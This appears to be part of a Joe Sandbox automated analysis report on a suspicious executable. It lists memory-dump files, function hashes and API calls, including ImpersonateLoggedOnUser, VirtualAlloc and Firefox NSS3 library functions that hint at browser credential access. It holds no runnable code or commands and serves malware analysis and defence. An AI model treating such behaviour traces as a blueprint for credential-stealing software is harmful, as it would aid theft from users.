Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8cf2713a1a5b634a5a2d2fbcd38589257ff5296fe41e2fded8e729992d70b644
Instruction ID: 99cae1a03b1fb22921ebc591cb689b3af1961b61e5499e98ccb9f3d05b4dd730
Opcode Fuzzy Hash: 8cf2713a1a5b634a5a2d2fbcd38589257ff5296fe41e2fded8e729992d70b644
Instruction Fuzzy Hash: 9401F57260C24AAEE701CFA99890BFF3794EB80300F28095AE942875C1D2A55D158F69

Function 05251301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05251367

Memory Dump Source

Source File: 00000003.00000002.1805134293.0000000005250000.00000040.00000800.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5250000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 0f04d32ab3665bcb6f0083cdf9cc70f0f3e1bf386b9bb20db64d52726aad4c04
Instruction ID: 75ebb7600353418a9c483066b9e770da8f0aabc109c9c32fbac72e0feef94a5d
Opcode Fuzzy Hash: 0f04d32ab3665bcb6f0083cdf9cc70f0f3e1bf386b9bb20db64d52726aad4c04
Instruction Fuzzy Hash: 931125B1800649CFDB10CF9AC585BDEFBF4EF48324F24846AE558A3640D778A544CFA5

Function 05251308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05251367

Memory Dump Source

Source File: 00000003.00000002.1805134293.0000000005250000.00000040.00000800.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5250000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: c269e0be45e55fa26fa297fc6f5ef4586e1815f73e56f19f55692f0348c33b51
Instruction ID: 1ce294dba1fe3126ee9247e3f55d37086c62298c43981311b58af07bbb3ff731
Opcode Fuzzy Hash: c269e0be45e55fa26fa297fc6f5ef4586e1815f73e56f19f55692f0348c33b51
Instruction Fuzzy Hash: 8A1125B1800249CFDB10CF9AC544BDEBBF4EF48320F14846AD558A3640D778A544CBA5

Function 00B61A02 Relevance: 1.5, APIs: 1, Instructions: 43
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,DE57FA86,00000003,00000000,00000003), ref: 00B61A70

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bacad33349cf0b52d91941f65719df228c23f8bf5f1e11c31f9de46c3c441d9d
Instruction ID: 7358e9cae987feb94c75e7249a3e6ad04474b96ebf9fe83cc1d0a21be0302f6f
Opcode Fuzzy Hash: bacad33349cf0b52d91941f65719df228c23f8bf5f1e11c31f9de46c3c441d9d
Instruction Fuzzy Hash: 6CF081B250924F6DE701CFA59D90AFF3798DFC0350F3C4856E901C7541D3664D158B68

Function 00B61A33 Relevance: 1.5, APIs: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,DE57FA86,00000003,00000000,00000003), ref: 00B61A70

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3ee2f4a31f28f77c08fc8c05bc241bb00d74375e69cd1515827059e94d3f1542
Instruction ID: a8d27f1405834f54c8de57040e9e1280589aba5a8ecbbd03663947f38a7d9f9b
Opcode Fuzzy Hash: 3ee2f4a31f28f77c08fc8c05bc241bb00d74375e69cd1515827059e94d3f1542
Instruction Fuzzy Hash: 8CE0227290D2565EEB08CFB999607BE7B90EF80310B288EAFDA02CA481C31949485B19

Function 009EE8A0 Relevance: 1.3, APIs: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 009EE8A2

Memory Dump Source

Source File: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3675ecec549814ebcadb16976f54fc6e1233b7b60b43db9408b8b869990065ec
Instruction ID: 8add9c856e71c673a78b7559c99153dc201aa70b464c3755a2e464ea3e198ee9
Opcode Fuzzy Hash: 3675ecec549814ebcadb16976f54fc6e1233b7b60b43db9408b8b869990065ec
Instruction Fuzzy Hash: 99F085B1808A25AFE3016F14C8867BDBAE0EF00701F02082CEAC646340E6762C60DB96

Function 009EEAC5 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 009EEAC5

Memory Dump Source

Source File: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4db90f577d8052e433a0b860ea98ebfcc31a978adacb950b15b12c9202106fcb
Instruction ID: 439d3de8e4dbac11fc4005653152eb28392a99c51494d5f8f99ef5dcb9bdfd17
Opcode Fuzzy Hash: 4db90f577d8052e433a0b860ea98ebfcc31a978adacb950b15b12c9202106fcb
Instruction Fuzzy Hash: F6E0ECB580854ACFE7146F35A84C9AE3AB4EF05321F110B18B8A582AC5C7360C54CA49

Analysis Process: 0T9SUT3NIHPVYFO0WUKXI.exePID: 8088, Parent PID: 7508COMMON

Non-executed Functions

Function 6CB96E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCE2120,6CB97E60), ref: 6CB96EBC
TlsGetValue.KERNEL32 ref: 6CB96EDF
EnterCriticalSection.KERNEL32(?), ref: 6CB96EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CB96F25

Part of subcall function 6CB6A900: TlsGetValue.KERNEL32(00000000,?,6CCE14E4,?,6CB04DD9), ref: 6CB6A90F
Part of subcall function 6CB6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB6A94F

PR_Unlock.NSS3 ref: 6CB96F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CB96FA9
TlsGetValue.KERNEL32 ref: 6CB970B4
EnterCriticalSection.KERNEL32(?), ref: 6CB970C8
PR_CallOnce.NSS3(6CCE24C0,6CBD7590), ref: 6CB97104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB97117
SECOID_Init.NSS3 ref: 6CB97128
PORT_Alloc_Util.NSS3(00000057), ref: 6CB9714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB9717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB971A9
PR_NotifyAllCondVar.NSS3 ref: 6CB971CF
PR_Unlock.NSS3 ref: 6CB971DD
free.MOZGLUE(?), ref: 6CB971EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB97208
free.MOZGLUE(00000000), ref: 6CB97221
free.MOZGLUE(00000001), ref: 6CB97235
TlsGetValue.KERNEL32 ref: 6CB9724A
EnterCriticalSection.KERNEL32(?), ref: 6CB9725E
PR_NotifyCondVar.NSS3 ref: 6CB97273
PR_Unlock.NSS3 ref: 6CB97281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB97291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB972B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB972D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB972E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97363
